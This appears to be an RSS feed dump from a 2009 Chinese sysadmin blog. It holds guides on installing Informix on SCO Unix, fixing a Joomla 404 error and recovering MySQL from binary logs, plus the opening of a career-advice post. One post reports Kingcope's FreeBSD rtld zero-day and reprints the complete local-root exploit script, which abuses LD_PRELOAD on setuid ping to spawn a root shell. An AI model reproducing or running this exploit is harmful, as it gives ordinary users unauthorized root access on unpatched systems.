• 重启输入root直接回车就可以进系统了,密码是空的,然后重置root密码:<br />
#passwd</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1383.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>老生常谈  SCO 安装 Informix</title>
		<link>http://www.evanjiang.net.cn/archives/1381.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1381.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 01:22:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[informix]]></category>
		<category><![CDATA[sco unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1381</guid>
		<description><![CDATA[<p>informix for sco 系统安装
1.  建立informix 用户组及用户。 </p>
<p>    1.
    2.  scoadmin -> account manager -> group -> add new group
        加入 informix 组</p>
<p>   scoadmin -> account manager -> user -> add    new     [...]]]></description>
			<content:encoded><![CDATA[<p>informix for sco 系统安装<br />
1.  建立informix 用户组及用户。 </p>
<p>    1.<br />
    2.  scoadmin -> account manager -> group -> add new group<br />
        加入 informix 组</p>
<p>   scoadmin -> account manager -> user -> add    new        加入  用户，注 意 home directory 应该是你希望安装 informix 的地方，<br />
        使用 /usr/informix .<br />
        Login group 改为 informix , membership 中加入 informix 组</p>
<p>    当然以上步骤可以用命令行的方式 实现，在此就不在重复</p>
<p>    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:*  一定要先建 informix 组，再建 informix 用户，其中道理不言而喻。<br />
     &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;                                                        核心参数</p>
<p>    1.  Login in as root<br />
    2.  scoadmin -> hardware manager/kernel -> parameters<br />
        修改以下参数<br />
        SHMMAX        134217728<br />
        SHMMIN        1<br />
        SEMMSL                150<br />
        MAXUP                2048</p>
<p>        然后 relink kernel, 重新启动。<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:*  一般的值，必须根据实际调整，根据他人介绍 可以参照<br />
    /etc/conf/cf.d/mtune 中各项的最大值修改，也可添加到与mtune<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>3.  修改 informix 用户的 .profile 文件</p>
<p>    1.  Login in as informix<br />
    2.  vi .profile<br />
        加入如下环境变量<br />
        INFORMIXDIR=/usr/informix            # informix 用户的绝对路径<br />
        ONCONFIG=onconfig                      # informix 数据库配置文件名称<br />
        INFORMIXSERVER=online                # informix 数据库server的名称<br />
                                                              # 在 onconfig 文件中也有定义，需要使用相同名称<br />
        LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql<br />
                                                              # esql 编译 .ec 需要使用的 Lib 库文件目录<br />
        PATH 中计入 /usr/informix/bin           # informix 命令所在路径 </p>
<p>        最后，export 以上各项。<br />
<span id="more-1381"></span><br />
    For example:<br />
    我安装的服务器配置为<br />
    INFORMIXDIR=/usr/informix<br />
    INFORMIXSERVER=online<br />
    TERMCAP=$INFORMIXDIR/etc/termcap<br />
    ONCONFIG=onconfig<br />
    PATH=$INFORMIXDIR/bin:$PATH<br />
    LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql:$LD_LIBRARY_PATH<br />
    export INFORMIXDIR INFORMIXSERVER ONCONFIG TERMCAP PATH LD_LIBRARY_PATH </p>
<p>     &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:*  一般的值，必须根据实际调整，根据他人介绍 可以参照<br />
    /etc/conf/cf.d/mtune 中各项的最大值修改，也可添加到与mtune<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>4.  安装 informix 系统应用程序 </p>
<p>    1.  Login in as informix,<br />
        确认 .profile 的环境变量已经导入，可以通过 &#8220;env | more&#8221; 方式查看。</p>
<p>    2.  如果安装文件为 *.cpi 方式，假设文件存放在 /tmp/file.cpi, 在 informix 用户目录下执行<br />
        $ cpio -iBdumcv -I /tmp/file.cpi        # 也可以通过 &#8220;cpio -iBdumcv < /tmp/file.cpi" 执行<br />
        $  ./installserver                              # 安装应用程序<br />
                                                             # 输入序列号 AA#****** ,  KEY ***** (注意大小写)</p>
<p>5.  准备数据库存储空间(下面描述均已建立chunk 名为 rootdbs）</p>
<p>    5.1 文件方式</p>
<p>        1.  Login in as informix</p>
<p>        2.  文件型数据库存储位置 ( 我习惯使用 /usr/informix/dbs 目录 )<br />
            $ cat /dev/null > rootdbs                     # rootdbs 使用，这个是必须的，但是名字可以随便<br />
               以下的 ***dbs 都是可选的，但是 phydbs(物理日志)、logdbs(逻辑日志)、tmpdbs(临时表)、idxdbs(索引) 等都<br />
               独立出来可以提升系统的性能<br />
            $ cat /dev/null > datadbs<br />
            &#8230;&#8230;<br />
            $ chmod 660 rootdbs<br />
            $ chown informix:informix rootdbs</p>
<p>            *NOTE:* ***dbs就是文件，怎么生成都可以， > rootdbs,  vi 、touch 都可以</p>
<p>    5.2 裸设备方式<br />
         裸设备的效能更好一些，但是相对于设置就比较的麻烦了。</p>
<p>         1. Login in as root</p>
<p>         2. 建立裸设备</p>
<p>            # divvy -m /dev/hd0a<br />
            hd0a 为第一块硬盘第一个分区， hd1 代表第二块硬盘，如果是 sas 等串口硬盘，估计是 rhd0 等等了(可能不对)</p>
<p>                        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+&#8212;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+<br />
                        | Name              | Type       | New FS | # | First Block | Last Block |<br />
                        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+&#8212;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+<br />
                        | boot              | EAFS       |  no    | 0 |            0|       30719|<br />
                        | swap              | NON FS     |  no    | 1 |        30720|      816127|<br />
                        | root              | HTFS       |  no    | 2 |       816128|     8329691|<br />
                        |                   | NOT USED   |  no    | 3 |            -|           -|<br />
                        |                   | NOT USED   |  no    | 4 |            -|           -|<br />
                        |                   | NOT USED   |  no    | 5 |            -|           -|<br />
                        | recover           | NON FS     |  no    | 6 |      8329692|     8329701|<br />
                        | hd0a              | WHOLE DISK |  no    | 7 |            0|     8377865|<br />
                        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+&#8212;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+<br />
                        8329702 1K blocks for divisions, 48163 1K blocks reserved for the system</p>
<p>                         n[ame]       Name or rename a division.<br />
                         c[reate]     Create a new file system on this division.<br />
                         d[elete]     Delete a file system on this division.<br />
                         t[ype]       Select or change filesystem type on new filesystems.<br />
                         p[revent]    Prevent a new file system from being created on this division.<br />
                         s[tart]      Start a division on a different block.<br />
                         e[nd]        End a division on a different block.<br />
                         r[estore]    Restore the original division table.</p>
<p>                        Enter your choice or q to quit:</p>
<p>            Type 选择 non fs, Name 填写 rootdbs, </p>
<p>                    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
            *NOTE:* divvy 内的 Block 大小为 1K, 据说 chunk(或者说是dbs)的大小不能超过<br />
             2G, 建议每一个都设置为 2000000, 也就是 End &#8211; Start + 1 = 2000000。<br />
             Informix 9.4 的版本支持 Big chunk了，通过 &#8216;onmode -BC 1&#8242; or &#8216;onmode -BC 2&#8242; 使用新的页空间<br />
                      &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>            按照上述分割好裸设备后，在 /dev 目录下面会自动生成chunk名为 Name 的设备名，比如我分割裸设备为 rootdbs<br />
            /dev 目录下面会有 /dev/rootdbs 文件。</p>
<p>            # chmod 660 rootdbs<br />
            # chown informix:informix rootdbs<br />
            # su &#8211; informix<br />
            $ mkdir dbs                 # 数据库连接文件放此目录<br />
            $ cd dbs<br />
            $ ln -s /dev/rootdbs rootdbs</p>
<p>                     &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
           *NOTE:* 关于这里,必须说两句,大家应该养成良好的习惯,就是chunk的路径用链接.<br />
                   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>6.  编辑各种配置文件 </p>
<p>    6.1 编辑 onconfig 文件</p>
<p>        Login in as informix</p>
<p>        $ cp onconfig.std onconfig</p>
<p>        *NOTE:* 这里的 onconfig 名称需要和 .profile 内的 ONCONFIG=onconfig 设置保持一致.</p>
<p>        $ vi onconfig<br />
        修改如下参数<br />
        ROOTPATH    /usr/informix/dbs/rootdbs<br />
        ROOTSIZE        2000000<br />
        MSGPATH     /usr/informix/online.log<br />
        TAPEDEV     /dev/null<br />
        LTAPEDEV    /dev/null<br />
        DBSERVERNAME    online</p>
<p>        *NOTE:* DBSERVERNAME 同.profile中INFORMIXSERVER名字，和sqlhosts 第三个字段保持一致，<br />
        这点非常重要.</p>
<p>    6.2 编辑 sqlhosts 文件</p>
<p>        原来一般为<br />
        demo_on        onipcshm        on_hostname     on_servername<br />
        demo_se        seipcpip        se_hostname     sqlexec</p>
<p>        更改为<br />
        demo_on        onipcshm        on_hostname     on_servername<br />
        #demo_se        seipcpip        se_hostname     sqlexec<br />
        online         ontlitcp        hostname        online_service</p>
<p>        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
        *NOTE:* 这几个字段&#8217;online&#8217;是SERVER名，在onconfig 中&#8217;DBSERVERNAME&#8217;,<br />
        .profile 中&#8217;INFORMIXSERVER&#8217; 是一个名称，ontlitcp 表示通过 tcp/ip 方式,<br />
        &#8216;hostname&#8217; 是在 /etc/hostname 中设置的名称,<br />
        &#8216;online_service&#8217; 是在 /etc/services 中的 tcp/ip 端口名称。<br />
        这里要注意的是这个配置和在linux下的是完全不一样的,linux下的不是ontlitcp.(没玩过Linux上的informix，不清楚是什么)<br />
        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>    6.2 编辑/etc/services 文件</p>
<p>        在 /etc/services 中加入 online_service  8888/tcp 即可，再次强调 online_service<br />
        这个名称一定要 sqlhosts 的保持一致，数字可选，但是请使用 文件中没有的端口号，<br />
        1-1024是系统端口号，不要大于 65535 (2的16次方)</p>
<p>7.  检查上述设置并初始化</p>
<p>    1.  Login in as informix</p>
<p>    2.  通过字符界面<br />
        $ onmonitor<br />
        Parameters -> Initialize 方式可以初始化。</p>
<p>    3.  命令方式<br />
        $ oninit -ivy<br />
        -i 表示初始化 (这个参数可别用在已经有数据的生产上，那会死人的)<br />
        -v verbose (这个单词不知道怎么解释，反正你能看到启动的各种信息输出，比较直观)<br />
        -y 全部提示问题都回答 y</p>
<p>    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:* 2,3 可选任意一种, 建议选择命令方式。如果出错了可以查看<br />
    online.log 日志文件看到底什么出错了。<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>按照上述过程，全部安装完毕！</p>
<p>ONLINE的运行及基本监控  </p>
<p>    1. 启动<br />
       $ oninit<br />
    2. 关闭<br />
       $ onmode -ky<br />
    3. 状态<br />
       $ onstat -<br />
       你可以 &#8216;onstat &#8211;help&#8217; 看一下，仔细研究onstat .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1381.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于 joomla 404 错误解决办法-组件未找到 component not found</title>
		<link>http://www.evanjiang.net.cn/archives/1379.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1379.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 01:16:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1379</guid>
		<description><![CDATA[<p>今天遇到joomla传说中的404错误，关闭sef或者apache rewrite模块也没用，中文的资料基本没有解决问题。
404 – Component not found
You may not be able to visit this page because of:
an out-of-date bookmark/favourite
a search engine that has an out-of-date listing for this site
a mistyped address
you have no access to this page
The requested resource was not found.
An error has occurred while processing your request.
Please try one of the following pages:…</p>
<p>最后在英文论坛找到解决办法：
=======================
In developing [...]]]></description>
			<content:encoded><![CDATA[<p>今天遇到joomla传说中的404错误，关闭sef或者apache rewrite模块也没用，中文的资料基本没有解决问题。<br />
404 – Component not found<br />
You may not be able to visit this page because of:<br />
an out-of-date bookmark/favourite<br />
a search engine that has an out-of-date listing for this site<br />
a mistyped address<br />
you have no access to this page<br />
The requested resource was not found.<br />
An error has occurred while processing your request.<br />
Please try one of the following pages:…</p>
<p>最后在英文论坛找到解决办法：<br />
=======================<br />
In developing our new site with Joomla 1.5.1 all was going fine then we started getting the 404 Component Not Found Error people are talking about. We also noticed that our FrontPage was blank/gone. We put in another piece of content for the FrontPage, but this did NOT fix it.<br />
So, I tried turning on and off the Search Engine Friendly settings but that did NOT resolve it either.<br />
EASY SOLUTION (from another post)<br />
<span id="more-1379"></span><br />
No default menu is set in the Main Menu. Go into your Admin page/control panel and go to the Menu Item Manager for the Main Menu. Click the check box next to the Home page at the top of the list. Then click on the yellow star icon in the upper-right corner.<br />
chenke=> 简单解决方案：是因为Main menu中没有指定默认菜单引起的。进入管理后台-》菜单项管理-》Main Menu，点击列表中Home page项的前的选项框，然后点击右上方的黄色星星按钮，完毕。（不一定解决所有组件未找到问题）<br />
ALTERNATE SOLUTION<br />
So I set Debug Info to Maximum and examined the function call stack. After further analysis I noticed that the error was getting triggered when trying to call the dispatch() function for a component (which one I could not tell). It calls the renderComponent() function which does a check on the component name, if it is empty then it raises a 404 Component Not Found Error. For whatever reason Joomla seems to be calling dispatch() on a component with an empty name (possibly because a component is disabled or the FrontPage is broken/missing,) which it should NOT do, and generates the error. I put a very simple if statement in the code which fixed the problem!<br />
In the “includes” directory in the root Joomla directory there is a file called “application.php” Locate the dispatch() function (at line 89). Right before the call (at line 124) to JComponentHelper::renderComponent() put in this “if” statement like below. Make sure it looks exactly like this.<br />
if(! empty($component)) {<br />
$contents = JComponentHelper::renderComponent($component);<br />
$document->setBuffer( $contents, ‘component’);<br />
}<br />
Upload the file to the includes directory and try refreshing your browser again.<br />
Also, if anyone can tell if the error is caused by a disabled component (by turning on all components and seeing if the error goes away) it would be good to post any info about this as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1379.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD爆严重安全漏洞.</title>
		<link>http://www.evanjiang.net.cn/archives/1376.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1376.html#comments</comments>
		<pubDate>Thu, 03 Dec 2009 13:17:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1376</guid>
		<description><![CDATA[<p>以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长 期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。 在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公 开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。</p>
<p>　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。</p>
<p>
相关脚本如下：</p>
<p>#!/bin/sh
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
cat > env.c  /dev/null 2>&#038;1
#download from baoz.net
cat > program.c ]]></description>
			<content:encoded><![CDATA[<p>以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长 期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。 在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公 开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。</p>
<p>　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。</p>
<p><span id="more-1376"></span><br />
相关脚本如下：</p>
<p>#!/bin/sh<br />
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″<br />
cat > env.c << _EOF<br />
#include <stdio.h><br />
main() {<br />
       extern char **environ;<br />
       environ = (char**)malloc(8096);<br />
       environ[0] = (char*)malloc(1024);<br />
       environ[1] = (char*)malloc(1024);<br />
       strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);<br />
       execl(”/sbin/ping”, “ping”, 0);<br />
}<br />
_EOF<br />
gcc env.c -o env > /dev/null 2>&#038;1<br />
#download from baoz.net<br />
cat > program.c << _EOF<br />
#include <unistd.h><br />
#include <stdio.h><br />
#include <sys/types.h><br />
#include <stdlib.h><br />
void _init() {<br />
       extern char **environ;<br />
       environ=NULL;<br />
       system(”echo ALEX-ALEX;/bin/sh”);<br />
}<br />
_EOF<br />
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env</p>
<p>FreeBSD尚未就该0day漏洞发布安全公告及官方补丁。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1376.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL数据库在Linux下二进制日志恢复方法</title>
		<link>http://www.evanjiang.net.cn/archives/1374.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1374.html#comments</comments>
		<pubDate>Thu, 03 Dec 2009 03:27:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1374</guid>
		<description><![CDATA[<p>如果MySQL服务器启用了二进制日志，你可以使用mysqlbinlog工具来恢复从指定的时间点开始 (例如，从你最后一次备份)直到现在或另一个指定的时间点的数据。“mysqlbinlog：用于处理二进制日志文件的实用工具”。</p>
<p>　　要想从二进制日志恢复数据，你需要知道当前二进制日志文件的路径和文件名。一般可以从选项文件(即my.cnf or my.ini，取决于你的系统)中找到路径。如果未包含在选项文件中，当服务器启动时，可以在命令行中以选项的形式给出。启用二进制日志的选项为&#8211; log-bin。要想确定当前的二进制日志文件的文件名，输入下面的MySQL语句：</p>
<p>　　SHOW BINLOG EVENTS \G</p>
<p>　　你还可以从命令行输入下面的内容：</p>
<p>　　mysql &#8211;user=root -pmy_pwd -e &#8216;SHOW BINLOG EVENTS \G&#8217;</p>
<p>　　将密码my_pwd替换为服务器的root密码。</p>
<p>　　1. 指定恢复时间</p>
<p>　　对于MySQL 4.1.4，可以在mysqlbinlog语句中通过&#8211;start-date和&#8211;stop-date选项指定DATETIME格式的起止时间。举例说明，假设在今天上午10:00(今天是2005年4月20日)，执行SQL语句来删除一个大表。要想恢复表和数据，你可以恢复前晚上的备份，并输入：</p>
<p>　　mysqlbinlog &#8211;stop-date=&#8221;2005-04-20 9:59:59&#8243; /var/log/mysql/bin.123456 \
　　&#124; mysql -u root -pmypwd</p>
<p>
　　该命令将恢复截止到在&#8211;stop-date选项中以DATETIME格式给出的日期和时间的所有数据。如果你没有检测到几个小时后输入的错误的SQL语句，可能你想要恢复后面发生的活动。根据这些，你可以用起使日期和时间再次运行mysqlbinlog：</p>
<p>　　mysqlbinlog &#8211;start-date=&#8221;2005-04-20 10:01:00&#8243; /var/log/mysql/bin.123456 \
　　&#124; mysql -u root -pmypwd \</p>
<p>　　在该行中，从上午10:01登录的SQL语句将运行。组合执行前夜的转储文件和mysqlbinlog的两行可以将所有数据恢复到上午10:00前一秒钟。你应检查日志以确保时间确切。下一节介绍如何实现。</p>
<p>　　2. 指定恢复位置</p>
<p>　　也可以不指定日期和时间，而使用mysqlbinlog的选项&#8211;start-position和&#8211;stop-position来指定日志位置。它们的作用与起止日选项相同，不同的是给出了从日志起的位置号。使用日志位置是更准确的恢复方法，特别是当由于破坏性SQL语句同时发生许多事务的时候。要想确定位置号，可以运行mysqlbinlog寻找执行了不期望的事务的时间范围，但应将结果重新指向文本文件以便进行检查。操作方法为：</p>
<p>　　mysqlbinlog &#8211;start-date=&#8221;2005-04-20 9:55:00&#8243; &#8211;stop-date=&#8221;2005-04-20 10:05:00&#8243; \
　　/var/log/mysql/bin.123456 > /tmp/mysql_restore.sql</p>
<p>　　该命令将在/tmp目录创建小的文本文件，将显示执行了错误的SQL语句时的SQL语句。你可以用文本编辑器打开该文件，寻找你不要想重复的语句。如果二进制日志中的位置号用于停止和继续恢复操作，应进行注释。用log_pos加一个数字来标记位置。使用位置号恢复了以前的备份文件后，你应从命令行输入下面内容：</p>
<p>　　mysqlbinlog &#8211;stop-position=&#8221;368312&#8243; /var/log/mysql/bin.123456 \
　　&#124; mysql -u root -pmypwd
　　mysqlbinlog &#8211;start-position=&#8221;368315&#8243; /var/log/mysql/bin.123456 \
　　&#124; mysql -u root [...]]]></description>
			<content:encoded><![CDATA[<p>如果MySQL服务器启用了二进制日志，你可以使用mysqlbinlog工具来恢复从指定的时间点开始 (例如，从你最后一次备份)直到现在或另一个指定的时间点的数据。“mysqlbinlog：用于处理二进制日志文件的实用工具”。</p>
<p>　　要想从二进制日志恢复数据，你需要知道当前二进制日志文件的路径和文件名。一般可以从选项文件(即my.cnf or my.ini，取决于你的系统)中找到路径。如果未包含在选项文件中，当服务器启动时，可以在命令行中以选项的形式给出。启用二进制日志的选项为&#8211; log-bin。要想确定当前的二进制日志文件的文件名，输入下面的MySQL语句：</p>
<p>　　SHOW BINLOG EVENTS \G</p>
<p>　　你还可以从命令行输入下面的内容：</p>
<p>　　mysql &#8211;user=root -pmy_pwd -e &#8216;SHOW BINLOG EVENTS \G&#8217;</p>
<p>　　将密码my_pwd替换为服务器的root密码。</p>
<p>　　1. 指定恢复时间</p>
<p>　　对于MySQL 4.1.4，可以在mysqlbinlog语句中通过&#8211;start-date和&#8211;stop-date选项指定DATETIME格式的起止时间。举例说明，假设在今天上午10:00(今天是2005年4月20日)，执行SQL语句来删除一个大表。要想恢复表和数据，你可以恢复前晚上的备份，并输入：</p>
<p>　　mysqlbinlog &#8211;stop-date=&#8221;2005-04-20 9:59:59&#8243; /var/log/mysql/bin.123456 \<br />
　　| mysql -u root -pmypwd</p>
<p><span id="more-1374"></span><br />
　　该命令将恢复截止到在&#8211;stop-date选项中以DATETIME格式给出的日期和时间的所有数据。如果你没有检测到几个小时后输入的错误的SQL语句，可能你想要恢复后面发生的活动。根据这些，你可以用起使日期和时间再次运行mysqlbinlog：</p>
<p>　　mysqlbinlog &#8211;start-date=&#8221;2005-04-20 10:01:00&#8243; /var/log/mysql/bin.123456 \<br />
　　| mysql -u root -pmypwd \</p>
<p>　　在该行中，从上午10:01登录的SQL语句将运行。组合执行前夜的转储文件和mysqlbinlog的两行可以将所有数据恢复到上午10:00前一秒钟。你应检查日志以确保时间确切。下一节介绍如何实现。</p>
<p>　　2. 指定恢复位置</p>
<p>　　也可以不指定日期和时间，而使用mysqlbinlog的选项&#8211;start-position和&#8211;stop-position来指定日志位置。它们的作用与起止日选项相同，不同的是给出了从日志起的位置号。使用日志位置是更准确的恢复方法，特别是当由于破坏性SQL语句同时发生许多事务的时候。要想确定位置号，可以运行mysqlbinlog寻找执行了不期望的事务的时间范围，但应将结果重新指向文本文件以便进行检查。操作方法为：</p>
<p>　　mysqlbinlog &#8211;start-date=&#8221;2005-04-20 9:55:00&#8243; &#8211;stop-date=&#8221;2005-04-20 10:05:00&#8243; \<br />
　　/var/log/mysql/bin.123456 > /tmp/mysql_restore.sql</p>
<p>　　该命令将在/tmp目录创建小的文本文件，将显示执行了错误的SQL语句时的SQL语句。你可以用文本编辑器打开该文件，寻找你不要想重复的语句。如果二进制日志中的位置号用于停止和继续恢复操作，应进行注释。用log_pos加一个数字来标记位置。使用位置号恢复了以前的备份文件后，你应从命令行输入下面内容：</p>
<p>　　mysqlbinlog &#8211;stop-position=&#8221;368312&#8243; /var/log/mysql/bin.123456 \<br />
　　| mysql -u root -pmypwd<br />
　　mysqlbinlog &#8211;start-position=&#8221;368315&#8243; /var/log/mysql/bin.123456 \<br />
　　| mysql -u root -pmypwd \</p>
<p>　　上面的第1行将恢复到停止位置为止的所有事务。下一行将恢复从给定的起始位置直到二进制日志结束的所有事务。因为mysqlbinlog的输出包括每个SQL语句记录之前的SET TIMESTAMP语句，恢复的数据和相关MySQL日志将反应事务执行的原时间。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1374.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>软件工程师的7年总结：借此导航自己人生</title>
		<link>http://www.evanjiang.net.cn/archives/1365.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1365.html#comments</comments>
		<pubDate>Thu, 26 Nov 2009 14:58:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[职业发展]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1365</guid>
		<description><![CDATA[<p>　1、分享第一条经验：“学历代表过去、能力代表现在、学习力代表未来。”</p>
<p>　　其实这是一个来自国外教育领域的一个研究结果。相信工作过几年、十几年的朋友对这个道理有些体会吧。但我相信这一点也很重要：“重要的道理明白太晚将抱憾终生!”所以放在每一条，让刚刚毕业的朋友们早点看到哈!</p>
<p>　　2、一定要确定自己的发展方向，并为此目的制定可行的计划。</p>
<p>　　不要说什么，“我刚毕业，还不知道将来可能做什么?”，“跟着感觉走，先做做看”。因为，这样的观点会通过 你的潜意识去暗示你的行为无所事事、碌碌无为。一直做技术，将来成为专家级人物?向管理方向走，成为职业经理人?先熟悉行业和领域，将来自立门户?还是先 在行业里面混混，过几年转行做点别的?这很重要，它将决定你近几年、十年内“做什么事情才是在做正确的事情!”。</p>
<p>　　3、软件开发团队中，技术不是万能的，但没有技术是万万不能的!</p>
